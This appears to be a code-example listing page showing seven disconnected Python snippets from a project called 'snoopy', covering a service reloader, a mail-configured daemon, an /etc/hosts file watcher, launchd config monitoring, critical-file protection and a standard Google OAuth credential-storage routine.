Пример #1
0
 def reloader():
     ServiceReloader(
         service,
         get_embedded_filename(reloader_script),
         # '/home/parallels/code/snoopy/start.sh',
         get_embedded_filename(service),
         # '/home/parallels/code/snoopy/config/snoopy.service',
         7111,
         notifier
     )
Пример #2
0
 def reloader():
     debug('creating reloader')
     try:
         ServiceReloader(
             service,
             get_embedded_filename(reloader_script),
             # '/home/parallels/code/snoopy/start.sh',
             get_embedded_filename(service),
             # service,
             7110,
             notifier)
     except Exception:
         import traceback
         debug(traceback.format_exc())
Пример #3
0
 def __init__(self):
     Daemon.__init__(
         self,
         get_embedded_filename(mail_config),
         secret_key,
         installation_path,
         directory,
         catcher)
Пример #4
0
 def __init__(self):
     self.start_time = time.time()
     self.max_life = 86400  # 24 hours in seconds
     self.last_run = 0
     Daemon.__init__(
         self,
         get_embedded_filename(mail_config),
         secret_key,
         installation_path,
         directory,
         catcher)
     self.file_cleaner = FileCleaner('/etc/hosts', get_notifier())
Пример #5
0
 def setup(self):
     # the graceful killer registers events on init
     self.killer = GracefulKiller(
         get_embedded_filename(reloader_name),
         self.notifier,
         get_critical_files())
     config_event_handler = ConfigFileEventHandler(
         self.notifier,
         config_dir,
         launchd_path,
         get_plist_filename())
     self.observer.schedule(
         config_event_handler,
         launchd_path,
         recursive=False)
Пример #6
0
def get_credentials():
    home_dir = os.path.expanduser('~')
    credential_dir = os.path.join(home_dir, '.credentials')
    if not os.path.exists(credential_dir):
        os.makedirs(credential_dir)
    credential_path = os.path.join(credential_dir, 'snoopy_collector.json')

    store = Storage(credential_path)
    credentials = store.get()
    if not credentials or credentials.invalid:
        flow = client.flow_from_clientsecrets(
            get_embedded_filename(CLIENT_SECRET_FILE), SCOPES)
        flow.user_agent = APPLICATION_NAME
        if flags:
            credentials = tools.run_flow(flow, store, flags)
        else:
            # Needed only for compatibility with Python 2.6
            credentials = tools.run(flow, store)
        print('Storing credentials to ' + credential_path)
    return credentials
Пример #7
0
def get_critical_files():
    return [
        get_embedded_filename(reloader_name),
        get_embedded_filename(mail_config),
        get_embedded_filename('snoopy'),
    ]